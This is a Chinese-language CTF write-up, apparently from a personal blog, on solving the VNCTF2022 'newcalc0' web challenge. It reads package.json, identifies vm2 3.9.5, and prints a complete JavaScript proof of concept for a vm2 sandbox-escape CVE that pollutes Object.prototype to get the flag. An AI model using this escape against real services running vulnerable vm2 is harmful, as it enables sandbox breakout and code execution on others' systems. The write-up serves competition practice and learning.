【WEB】VM2沙箱逃逸

VM2 的沙箱逃逸出自 VNCTF2022-WEB-newcalc0
根据 hint 访问 package.json

///source?path=/package.json
...
"dependencies": {
"express": "^4.17.1",
"pm2": "^4.5.6",
"vm2": "^3.9.5"
}
...

再阅读源码,无其他位置可以注入,故寻找 VM2 的 CVE
这里有个 CVE 数据库可以使用
Snyk Vulnerability Database(https://security.snyk.io/)
我们于是找到了一个 VM2 绕过的 CVE
Sandbox Bypass Affecting VM2 versions <3.9.6
刚好 VM2 版本对应上了,理论存在,实践开始
由于第一个 poc 好像被过滤了一部分,于是直接尝试第二个

e=1;function getRootPrototype(obj) {//e=1;直接先把module.exports=处理了
while (obj.__proto__) {
obj = obj.__proto__;
}
return obj;
}
function stack(ref, cb) {
let stack = new Error().stack;
stack.match(/checkReferenceRecursive/g);
}
try {
global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
getRootPrototype(this);
stack(this);
return true;
}), function functionInvocationAnalysis(r) {
stack(r);
}(temp0), global.temp0;
RegExp.prototype.exec = function (str) {
stack(arguments);
};
} catch (e) {
getRootPrototype(e).prototype=[1,2,3];///根据题目要求对prototype注入,一次不行,多submit几次(50+一直点就对了),总有一次能污染到原型链
//getRootPrototype(Object).prototype=[1,2,3];/也许也可以这样原型链污染
module.exports=Object.keys(Object.prototype);//返回目前的prototype进行回显确认
}

再次访问 /flag 就出了
主要是对代码的理解,要知道哪里可以对 prototype 进行修改以及 hint:package.json 的使用
2022/2/14:复现到 3 点多,一次不行,多 submit 几次!

评论

  1. t
    2022-2-18
    2022-2-18 14:41:58

    tql

    • 博主
      thaii
      2022-2-18
      2022-2-18 20:18:32

      mtgg的rce帮大忙了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇